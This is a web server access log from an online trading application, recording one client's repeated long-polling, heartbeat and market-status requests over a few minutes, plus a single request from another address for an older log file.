[09/Jan/2026:08:25:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918627311 HTTP/1.1" -
[09/Jan/2026:08:26:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918633303 HTTP/1.1" -
[09/Jan/2026:08:26:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918639303 HTTP/1.1" -
[09/Jan/2026:08:26:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:26:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:26:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:26:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:26:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918645315 HTTP/1.1" -
[09/Jan/2026:08:26:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918651315 HTTP/1.1" -
[09/Jan/2026:08:26:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918657307 HTTP/1.1" -
[09/Jan/2026:08:26:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918663305 HTTP/1.1" -
[09/Jan/2026:08:26:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918669314 HTTP/1.1" -
[09/Jan/2026:08:26:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918675315 HTTP/1.1" -
[09/Jan/2026:08:26:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918681316 HTTP/1.1" -
[09/Jan/2026:08:26:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918687306 HTTP/1.1" -
[09/Jan/2026:08:27:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918693315 HTTP/1.1" -
[09/Jan/2026:08:27:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918699308 HTTP/1.1" -
[09/Jan/2026:08:27:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:27:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:27:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:27:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:27:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918705307 HTTP/1.1" -
[09/Jan/2026:08:27:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918711314 HTTP/1.1" -
[09/Jan/2026:08:27:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918717307 HTTP/1.1" -
[09/Jan/2026:08:27:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918723317 HTTP/1.1" -
[09/Jan/2026:08:27:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918729303 HTTP/1.1" -
[09/Jan/2026:08:27:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918735365 HTTP/1.1" -
[09/Jan/2026:08:27:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918741315 HTTP/1.1" -
[09/Jan/2026:08:27:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918747307 HTTP/1.1" -
[09/Jan/2026:08:28:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918753314 HTTP/1.1" -
[09/Jan/2026:08:28:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918759313 HTTP/1.1" -
[09/Jan/2026:08:28:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:28:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:28:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:28:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:28:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918765312 HTTP/1.1" -
[09/Jan/2026:08:28:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918771307 HTTP/1.1" -
[09/Jan/2026:08:28:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918777314 HTTP/1.1" -
[09/Jan/2026:08:28:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918783302 HTTP/1.1" -
[09/Jan/2026:08:28:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918789316 HTTP/1.1" -
[09/Jan/2026:08:28:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918795314 HTTP/1.1" -
[09/Jan/2026:08:28:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918801311 HTTP/1.1" -
[09/Jan/2026:08:28:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918807312 HTTP/1.1" -
[09/Jan/2026:08:29:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918813305 HTTP/1.1" -
[09/Jan/2026:08:29:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918819308 HTTP/1.1" -
[09/Jan/2026:08:29:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:29:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:29:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:29:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:29:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918825310 HTTP/1.1" -
[09/Jan/2026:08:29:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918831316 HTTP/1.1" -
[09/Jan/2026:08:29:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918837307 HTTP/1.1" -
[09/Jan/2026:08:29:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918843314 HTTP/1.1" -
[09/Jan/2026:08:29:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918849312 HTTP/1.1" -
[09/Jan/2026:08:29:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918855308 HTTP/1.1" -
[09/Jan/2026:08:29:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918861306 HTTP/1.1" -
[09/Jan/2026:08:29:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918867308 HTTP/1.1" -
[09/Jan/2026:08:30:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918873309 HTTP/1.1" -
[09/Jan/2026:08:30:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918879304 HTTP/1.1" -
[09/Jan/2026:08:30:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:30:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:30:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:30:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:30:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918885307 HTTP/1.1" -
[09/Jan/2026:08:30:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918891303 HTTP/1.1" -
[09/Jan/2026:08:30:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918897313 HTTP/1.1" -
[09/Jan/2026:08:30:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918903312 HTTP/1.1" -
[09/Jan/2026:08:30:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918909313 HTTP/1.1" -
[09/Jan/2026:08:30:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918915307 HTTP/1.1" -
[09/Jan/2026:08:30:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918921304 HTTP/1.1" -
[09/Jan/2026:08:30:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918927304 HTTP/1.1" -
[09/Jan/2026:08:31:01 +0800] 47.128.18.30 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241020 HTTP/1.1" 58826
[09/Jan/2026:08:31:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918933313 HTTP/1.1" -
[09/Jan/2026:08:31:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918939316 HTTP/1.1" -
[09/Jan/2026:08:31:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:31:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:31:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:31:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:31:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918945312 HTTP/1.1" -
[09/Jan/2026:08:31:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918951301 HTTP/1.1" -
[09/Jan/2026:08:31:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918957305 HTTP/1.1" -
[09/Jan/2026:08:31:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918963304 HTTP/1.1" -
[09/Jan/2026:08:31:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918969304 HTTP/1.1" -
[09/Jan/2026:08:31:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918975314 HTTP/1.1" -
[09/Jan/2026:08:31:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918981308 HTTP/1.1" -
[09/Jan/2026:08:31:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918987314 HTTP/1.1" -
[09/Jan/2026:08:32:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767918993309 HTTP/1.1" -
